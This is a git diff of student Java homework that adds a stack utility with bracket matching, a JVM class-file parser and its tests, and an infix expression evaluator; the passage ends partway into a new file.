+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        if (s == null || s.trim().isEmpty())
+            return false;
+        String[] arr = s.split("");
+        MyStack<String> stack = new MyStack<String>();
+        for (int i = 0; i < arr.length; i++) {
+            if ("(".equals(arr[i]) || "[".equals(arr[i]) || "{".equals(arr[i]))
+                stack.push(arr[i]);
+            if (")".equals(arr[i])) {
+                if (stack.peek().equals("("))
+                    stack.pop();
+                else
+                    return false;
+            }
+            if ("]".equals(arr[i])) {
+                if (stack.peek().equals("["))
+                    stack.pop();
+                else
+                    return false;
+            }
+            if ("}".equals(arr[i])) {
+                if (stack.peek().equals("{"))
+                    stack.pop();
+                else
+                    return false;
+            }
+        }
+        return stack.size() == 0;//最后判断stack中没有元素了，可能有单个括号
+    }
+}
diff --git a/group17/785396327/4.5/stack/StackUtilTest.java b/group17/785396327/4.5/stack/StackUtilTest.java
new file mode 100644
index 0000000000..bf411a953a
--- /dev/null
+++ b/group17/785396327/4.5/stack/StackUtilTest.java
@@ -0,0 +1,101 @@
+package stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by gongxun on 2017/4/12.
+ */
+public class StackUtilTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    /**
+     * [头元素,...,尾元素]
+     */
+    @Test
+    public void testStack() {
+        MyStack<Integer> stack = new MyStack<Integer>();
+        stack.push(1);
+        stack.push(2);
+        System.out.println(stack);
+    }
+
+    @Test
+    public void testAddToBottom() {
+        MyStack<Integer> s = new MyStack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+
+        StackUtil.addToBottom(s, 0);
+
+        Assert.assertEquals("[3, 2, 1, 0]", s.toString());
+
+    }
+
+    @Test
+    public void testReverse() {
+        MyStack<Integer> s = new MyStack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+        StackUtil.reverse(s);
+        Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+    }
+
+    @Test
+    public void testReverse_247565311() {
+        MyStack<Integer> s = new MyStack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+
+        Assert.assertEquals("[1, 2, 3]", s.toString());
+        StackUtil.reverse(s);
+        Assert.assertEquals("[3, 2, 1]", s.toString());
+    }
+
+    @Test
+    public void testRemove() {
+        MyStack<Integer> s = new MyStack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, 2);
+        Assert.assertEquals("[3, 1]", s.toString());
+    }
+
+    @Test
+    public void testGetTop() {
+        MyStack<Integer> s = new MyStack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        {
+            Object[] values = StackUtil.getTop(s, 3);
+            Assert.assertEquals(5, values[0]);
+            Assert.assertEquals(4, values[1]);
+            Assert.assertEquals(3, values[2]);
+        }
+    }
+
+    @Test
+    public void testIsValidPairs() {
+        Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+        Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+    }
+
+}
diff --git a/group17/785396327/4.5/test/ClassFileloaderTest.java b/group17/785396327/4.5/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..2276ee4eaf
--- /dev/null
+++ b/group17/785396327/4.5/test/ClassFileloaderTest.java
@@ -0,0 +1,348 @@
+package test;
+
+import clz.ClassFile;
+import clz.ClassIndex;
+import cmd.BiPushCmd;
+import cmd.ByteCodeCommand;
+import cmd.OneOperandCmd;
+import cmd.TwoOperandCmd;
+import constant.*;
+import field.Field;
+import jvm_1.ClassFileLoader;
+import method.Method;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by IBM on 2017/4/10.
+ */
+public class ClassFileloaderTest {
+    private static final String FULL_QUALIFIED_CLASS_NAME = "jvm_1/EmployeeV1";
+
+    static String path1 = "G:\\Git\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
+    static String path2 = "C:\temp";
+
+    static ClassFile clzFile = null;
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "jvm_1.EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+        clzFile.print();
+    }
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath(){
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1+";"+path2,clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "jvm_1.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1020, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+
+
+        String acctualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+
+
+    private String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+
+    @Test
+    public void testVersion(){
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(51, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool(){
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(7);
+            Assert.assertEquals(44, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(44);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(11);
+            Assert.assertEquals(48, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(48);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(12);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(13);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(14);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(15);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(16);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(17);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(18);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(1);
+            Assert.assertEquals(11, methodRef.getClassInfoIndex());
+            Assert.assertEquals(36, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
+            Assert.assertEquals(14, nameAndType.getIndex2());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
+    }
+    @Test
+    public void testClassIndex(){
+
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+
+        List<Field> fields = clzFile.getFields();
+        Assert.assertEquals(2, fields.size());
+        {
+            Field f = fields.get(0);
+            Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+        }
+        {
+            Field f = fields.get(1);
+            Assert.assertEquals("age:I", f.toString());
+        }
+    }
+    @Test
+    public void testMethods(){
+
+        List<Method> methods = clzFile.getMethods();
+        ConstantPool pool = clzFile.getConstantPool();
+
+        {
+            Method m = methods.get(0);
+            assertMethodEquals(pool,m,
+                    "<init>",
+                    "(Ljava/lang/String;I)V",
+                    "2ab700012a2bb500022a1cb50003b1");
+
+        }
+        {
+            Method m = methods.get(1);
+            assertMethodEquals(pool,m,
+                    "setName",
+                    "(Ljava/lang/String;)V",
+                    "2a2bb50002b1");
+
+        }
+        {
+            Method m = methods.get(2);
+            assertMethodEquals(pool,m,
+                    "setAge",
+                    "(I)V",
+                    "2a1bb50003b1");
+        }
+        {
+            Method m = methods.get(3);
+            assertMethodEquals(pool,m,
+                    "sayHello",
+                    "()V",
+                    "b200041205b60006b1");
+
+        }
+        {
+            Method m = methods.get(4);
+            assertMethodEquals(pool,m,
+                    "main",
+                    "([Ljava/lang/String;)V",
+                    "bb0007591208101db700094c2bb6000ab1");
+        }
+    }
+
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+        String methodName = pool.getUTF8String(m.getNameIndex());
+        String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+        String code = m.getCodeAttr().getCode();
+        Assert.assertEquals(expectedName, methodName);
+        Assert.assertEquals(expectedDesc, methodDesc);
+        Assert.assertEquals(expectedCode, code);
+    }
+
+
+    @Test
+    public void testByteCodeCommand(){
+        {
+            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+            ByteCodeCommand [] cmds = initMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: invokespecial #1", cmds[1]);
+            assertOpCodeEquals("4: aload_0", cmds[2]);
+            assertOpCodeEquals("5: aload_1", cmds[3]);
+            assertOpCodeEquals("6: putfield #2", cmds[4]);
+            assertOpCodeEquals("9: aload_0", cmds[5]);
+            assertOpCodeEquals("10: iload_2", cmds[6]);
+            assertOpCodeEquals("11: putfield #3", cmds[7]);
+            assertOpCodeEquals("14: return", cmds[8]);
+        }
+
+        {
+            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+            ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+            assertOpCodeEquals("0: aload_0", cmds[0]);
+            assertOpCodeEquals("1: aload_1", cmds[1]);
+            assertOpCodeEquals("2: putfield #2", cmds[2]);
+            assertOpCodeEquals("5: return", cmds[3]);
+
+        }
+
+        {
+            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+            ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+            assertOpCodeEquals("0: getstatic #4", cmds[0]);
+            assertOpCodeEquals("3: ldc #5", cmds[1]);
+            assertOpCodeEquals("5: invokevirtual #6", cmds[2]);
+            assertOpCodeEquals("8: return", cmds[3]);
+
+        }
+
+        {
+            Method mainMethod = this.clzFile.getMainMethod();
+
+            ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+            assertOpCodeEquals("0: new #7", cmds[0]);
+            assertOpCodeEquals("3: dup", cmds[1]);
+            assertOpCodeEquals("4: ldc #8", cmds[2]);
+            assertOpCodeEquals("6: bipush 29", cmds[3]);
+            assertOpCodeEquals("8: invokespecial #9", cmds[4]);
+            assertOpCodeEquals("11: astore_1", cmds[5]);
+            assertOpCodeEquals("12: aload_1", cmds[6]);
+            assertOpCodeEquals("13: invokevirtual #10", cmds[7]);
+            assertOpCodeEquals("16: return", cmds[8]);
+        }
+
+    }
+
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+        String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+        if(cmd instanceof OneOperandCmd){
+            if(cmd instanceof BiPushCmd){
+                acctual += " " + ((OneOperandCmd)cmd).getOperand();
+            } else{
+                acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+            }
+        }
+        if(cmd instanceof TwoOperandCmd){
+            acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+        }
+        Assert.assertEquals(expected, acctual);
+    }
+
+
+}
diff --git a/group17/785396327/4.5/util/Util.java b/group17/785396327/4.5/util/Util.java
new file mode 100644
index 0000000000..e35332238c
--- /dev/null
+++ b/group17/785396327/4.5/util/Util.java
@@ -0,0 +1,28 @@
+package util;
+
+/**
+ * Created by william on 2017/4/10.
+ */
+public class Util {
+    public static int byteToInt(byte[] codes){
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+
+
+    public static String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+}
diff --git a/group17/785396327/4.9/attr/AttributeInfo.java b/group17/785396327/4.9/attr/AttributeInfo.java
new file mode 100644
index 0000000000..0a8a0c60c9
--- /dev/null
+++ b/group17/785396327/4.9/attr/AttributeInfo.java
@@ -0,0 +1,20 @@
+package attr;
+
+/**
+ * Created by IBM on 2017/4/12.
+ */
+public abstract class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCEPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+    int attrNameIndex;
+    int attrLen ;
+    public AttributeInfo(int attrNameIndex, int attrLen) {
+
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+}
diff --git a/group17/785396327/4.9/attr/CodeAttr.java b/group17/785396327/4.9/attr/CodeAttr.java
new file mode 100644
index 0000000000..fb8e530b9b
--- /dev/null
+++ b/group17/785396327/4.9/attr/CodeAttr.java
@@ -0,0 +1,88 @@
+package attr;
+
+import clz.ClassFile;
+import cmd.ByteCodeCommand;
+import cmd.CommandParser;
+import constant.ConstantInfo;
+import iterator.ByteCodeIterator;
+
+/**
+ * Created by IBM on 2017/4/12.
+ */
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds;
+
+    public ByteCodeCommand[] getCmds() {
+        return cmds;
+    }
+
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
+                    ByteCodeCommand[] cmds) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+        //按照属性表格式读取
+        int attributeNameIndex = iter.nextU2ToInt();
+        int attributeLength = iter.nextU4ToInt();
+        int maxStack = iter.nextU2ToInt();
+        int maxLocals = iter.nextU2ToInt();
+        int codeLength = iter.nextU4ToInt();
+        String code = iter.nextLengthString(codeLength);
+
+        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+        int exceptionTableLength = iter.nextU2ToInt();//跳过异常表
+//        System.out.println("Code属性表中的异常表元素大小：" + exceptionTableLength);
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, cmds);
+        int attributesCount = iter.nextU2ToInt();
+        //code属性表中又有属性
+        for (int i = 0; i < attributesCount; i++) {
+            int attrIndex = iter.nextU2ToInt();
+            String utf8String = clzFile.getConstantPool().getUTF8String(attrIndex);
+//            clzFile.getConstantPool().getConstantInfo(attrIndex).
+            if ("LineNumberTable".equals(utf8String)) {
+                codeAttr.setLineNumberTable(LineNumberTable.parse(iter, attrIndex));
+            } else if ("LocalVariableTable".equals(utf8String)) {
+                codeAttr.setLocalVariableTable(LocalVariableTable.parse(iter, attrIndex));
+            } else if ("stackMapTable".equals(utf8String)) {
+                codeAttr.setStackMapTable(StackMapTable.parse(iter, attrIndex));
+            } else {
+                throw new RuntimeException("other attribute in code table");
+            }
+        }
+        return codeAttr;
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+}
diff --git a/group17/785396327/4.9/attr/LineNumberTable.java b/group17/785396327/4.9/attr/LineNumberTable.java
new file mode 100644
index 0000000000..acd781fb3e
--- /dev/null
+++ b/group17/785396327/4.9/attr/LineNumberTable.java
@@ -0,0 +1,54 @@
+package attr;
+
+import iterator.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by william on 2017/4/12.
+ */
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem{
+        int startPC;
+        int lineNum;
+        public int getStartPC() {
+            return startPC;
+        }
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+        public int getLineNum() {
+            return lineNum;
+        }
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+    public void addLineNumberItem(LineNumberItem item){
+        this.items.add(item);
+    }
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter,int attributeNameIndex) {
+        int attributeLength = iter.nextU4ToInt();
+        int lineNumberTableLength = iter.nextU2ToInt();
+        LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex,attributeLength);
+        for (int i = 0; i < lineNumberTableLength; i++) {
+            int start_pc = iter.nextU2ToInt();
+            int lineNumber = iter.nextU2ToInt();
+            LineNumberItem lineNumberItem = new LineNumberItem();
+            lineNumberItem.setLineNum(lineNumber);
+            lineNumberItem.setStartPC(start_pc);
+            lineNumberTable.addLineNumberItem(lineNumberItem);
+        }
+        return lineNumberTable;
+    }
+
+
+}
diff --git a/group17/785396327/4.9/attr/LocalVariableItem.java b/group17/785396327/4.9/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..d0213e92f5
--- /dev/null
+++ b/group17/785396327/4.9/attr/LocalVariableItem.java
@@ -0,0 +1,42 @@
+package attr;
+
+/**
+ * Created by IBM on 2017/4/12.
+ */
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+    public int getStartPC() {
+        return startPC;
+    }
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+    public int getLength() {
+        return length;
+    }
+    public void setLength(int length) {
+        this.length = length;
+    }
+    public int getNameIndex() {
+        return nameIndex;
+    }
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+    public int getDescIndex() {
+        return descIndex;
+    }
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+    public int getIndex() {
+        return index;
+    }
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
diff --git a/group17/785396327/4.9/attr/LocalVariableTable.java b/group17/785396327/4.9/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..9cb74c9697
--- /dev/null
+++ b/group17/785396327/4.9/attr/LocalVariableTable.java
@@ -0,0 +1,43 @@
+package attr;
+
+import iterator.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by william on 2017/4/12.
+ */
+public class LocalVariableTable extends AttributeInfo {
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter, int attributeNameIndex) {
+        int attributeLength = iter.nextU4ToInt();
+        int localVariableTableLength = iter.nextU2ToInt();
+        LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex, attributeLength);
+        for (int i = 0; i < localVariableTableLength; i++) {
+            int startPc = iter.nextU2ToInt();
+            int length = iter.nextU2ToInt();
+            int nameIndex = iter.nextU2ToInt();
+            int descIndex = iter.nextU2ToInt();
+            int index = iter.nextU2ToInt();
+            LocalVariableItem localVariableItem = new LocalVariableItem();
+            localVariableItem.setStartPC(startPc);
+            localVariableItem.setLength(length);
+            localVariableItem.setNameIndex(nameIndex);
+            localVariableItem.setDescIndex(descIndex);
+            localVariableItem.setIndex(index);
+            localVariableTable.addLocalVariableItem(localVariableItem);
+        }
+        return localVariableTable;
+    }
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+        this.items.add(item);
+    }
+
+}
diff --git a/group17/785396327/4.9/attr/StackMapTable.java b/group17/785396327/4.9/attr/StackMapTable.java
new file mode 100644
index 0000000000..fce272fd9f
--- /dev/null
+++ b/group17/785396327/4.9/attr/StackMapTable.java
@@ -0,0 +1,31 @@
+package attr;
+
+import iterator.ByteCodeIterator;
+
+/**
+ * Created by william on 2017/4/12.
+ */
+public class StackMapTable extends AttributeInfo {
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static StackMapTable parse(ByteCodeIterator iter,int index){
+//        int len = iter.nextU4ToInt();
+//        StackMapTable t = new StackMapTable(index,len);
+
+        //后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+//        String code = iter.nextUxToHexString(len);
+//        t.setOriginalCode(code);
+
+//        return t;
+        return null;
+    }
+
+    private void setOriginalCode(String code) {
+        this.originalCode = code;
+
+    }
+}
diff --git a/group17/785396327/4.9/expr/ExprParser.java b/group17/785396327/4.9/expr/ExprParser.java
new file mode 100644
index 0000000000..09a909fbad
--- /dev/null
+++ b/group17/785396327/4.9/expr/ExprParser.java
@@ -0,0 +1,37 @@
+package expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by IBM on 2017/4/15.
+ */
+public class ExprParser {
+
+    public static List<String> parse(InfixExpr infixExpr) {
+        if (infixExpr == null || infixExpr.expr == null || infixExpr.expr.trim().isEmpty())
+            return null;
+        String[] split = infixExpr.expr.split("");
+        List<String> results = new ArrayList<String>();
+        StringBuilder numberBuffer = new StringBuilder();
+        for (int i = 0; i < split.length; i++) {
+            String ele = split[i];
+            if (ele.equals(OperEnum.ADD.getOperator()) || ele.equals(OperEnum.SUBTRACT.getOperator()) || ele.equals(OperEnum.MINUS.getOperator()) || ele.equals(OperEnum.MULTIPLY.getOperator())) {
+                results.add(numberBuffer.toString());
+                numberBuffer.delete(0, numberBuffer.length());
+                results.add(ele);
+            } else
+                numberBuffer.append(ele);
+        }
+        results.add(numberBuffer.toString());
+        return results;
+    }
+
+    public static boolean belongsHighPriority(String operEle) {
+        return belongsOperator(operEle) && (operEle.trim().equals(OperEnum.MINUS.getOperator()) || operEle.trim().equals(OperEnum.MULTIPLY.getOperator()));
+    }
+
+    public static boolean belongsOperator(String operEle) {
+        return (operEle != null) && (operEle.trim().equals(OperEnum.ADD.getOperator()) || operEle.trim().equals(OperEnum.SUBTRACT.getOperator()) || operEle.trim().equals(OperEnum.MULTIPLY.getOperator()) || operEle.trim().equals(OperEnum.MINUS.getOperator()));
+    }
+}
diff --git a/group17/785396327/4.9/expr/InfixExpr.java b/group17/785396327/4.9/expr/InfixExpr.java
new file mode 100644
index 0000000000..9845d45809
--- /dev/null
+++ b/group17/785396327/4.9/expr/InfixExpr.java
@@ -0,0 +1,75 @@
+package expr;
+
+import stack.MyStack;
+
+import java.util.List;
+
+/**
+ * Created by william on 2017/4/13.
+ */
+public class InfixExpr {
+    String expr = null;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        List<String> operList = ExprParser.parse(this);
+        MyStack<Object> numberStack = new MyStack<Object>();
+        MyStack<String> operatorStack = new MyStack<String>();
+        if (operList != null) {
+            for (String operEle : operList) {
+                if (ExprParser.belongsOperator(operEle))
+                    operatorStack.push(operEle);
+                else {
+                    numberStack.push(operEle);
+                    if (!operatorStack.isEmpty() && ExprParser.belongsHighPriority(operatorStack.peek())) {
+                        String highPriorityValue = calcHighOper(numberStack, operatorStack);
+                        numberStack.push(highPriorityValue);
+                    }
+                }
+            }
+        }
+        if (numberStack.size() != operatorStack.size() + 1)
+            throw new RuntimeException(" wrong operation number ");
+        return Float.parseFloat(calcSameOper(numberStack, operatorStack));
+    }
+
+    private String calcHighOper(MyStack<Object> numberStack, MyStack<String> operatorStack) {
+        Float rightNumber = Float.parseFloat((String) numberStack.pop());
+        Float leftNumber = Float.parseFloat((String) numberStack.pop());
+        String oper = operatorStack.pop();
+        return calc(rightNumber, leftNumber, oper);
+    }
+
+    private String calcSameOper(MyStack<Object> numberStack, MyStack<String> operatorStack) {
+        MyStack<Object> allStack = new MyStack<Object>();
+        while (!operatorStack.isEmpty()) {
+            allStack.push(numberStack.pop());
+            allStack.push(operatorStack.pop());
+        }
+        allStack.push(numberStack.pop());
+        while (allStack.size() != 1) {
+            Float leftNumber = Float.parseFloat((String) allStack.pop());
+            String oper = (String) allStack.pop();
+            Float rightNumber = Float.parseFloat((String) allStack.pop());
+            allStack.push(calc(rightNumber, leftNumber, oper));
+        }
+        return (String) allStack.pop();
+    }
+
+    private String calc(Float rightNumber, Float leftNumber, String oper) {
+        if (oper.equals(OperEnum.ADD.getOperator()))
+            return leftNumber + rightNumber + "";
+        else if (oper.equals(OperEnum.SUBTRACT.getOperator()))
+            return leftNumber - rightNumber + "";
+        else if (oper.equals(OperEnum.MULTIPLY.getOperator()))
+            return leftNumber * rightNumber + "";
+        else if (oper.equals(OperEnum.MINUS.getOperator()))
+            return leftNumber / rightNumber + "";
+        else
+            throw new RuntimeException("not support " + leftNumber + " " + oper + " " + rightNumber + " operation");
+    }
+
+}
diff --git a/group17/785396327/4.9/expr/InfixExprTest.java b/group17/785396327/4.9/expr/InfixExprTest.java
new file mode 100644
index 0000000000..1249bbf04b
--- /dev/null
+++ b/group17/785396327/4.9/expr/InfixExprTest.java
@@ -0,0 +1,57 @@
+package expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+/**
+ * Created by IBM on 2017/4/13.
+ */
+public class InfixExprTest {
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+    @Test
+    public void testExprParser() {
+        InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        List<String> parse = ExprParser.parse(expr);
+        System.out.println(parse);
+    }
+}
diff --git a/group17/785396327/4.9/expr/InfixToPostfix.java b/group17/785396327/4.9/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..58fb60ef2b
--- /dev/null
+++ b/group17/785396327/4.9/expr/InfixToPostfix.java
@@ -0,0 +1,43 @@
+package expr;
+
+import stack.MyStack;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by gongxun on 2017/4/22.
